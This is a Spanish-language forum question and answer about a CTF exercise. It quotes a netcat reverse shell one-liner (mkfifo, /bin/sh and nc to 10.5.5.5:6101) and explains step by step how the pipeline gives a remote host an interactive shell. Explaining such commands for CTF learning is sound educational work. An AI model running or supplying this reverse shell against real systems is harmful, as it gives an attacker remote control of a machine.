¿Qué está haciendo realmente este código?

¿Qué está haciendo realmente este código?

Mientras hacía un desafío CTF en una plataforma, necesitaba un shell inverso pero no podía hacerlo funcionar, así que miré los procesos y encontré un código de shell inverso:

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

Lo que realmente funcionó, pero no puedo entender cómo funcionan las tuberías, a dónde envían datos, etc. ¿Alguien puede explicar esto?

Respuesta1

Esto configura un shell controlado remotamente en el sistema. Las entradas y salidas son las siguientes:

  • cat /tmp/mlee del /tmp/mFIFO y lo escribe en...
  • |/bin/sh -i 2>&1que ejecuta los comandos que lee y envía su salida (tanto salida estándar como error estándar) a...
  • |nc 10.5.5.5 6101que se conecta a 10.5.5.5:6101 y escribe en
  • >/tmp/mel FIFO.

Por lo tanto, el sistema remoto puede alimentar comandos, que se transmiten a través de nc, se escriben en FIFO, se leen cat, se interpretan shy la salida de esos comandos se envía de regreso al sistema remoto a través de nc.

información relacionada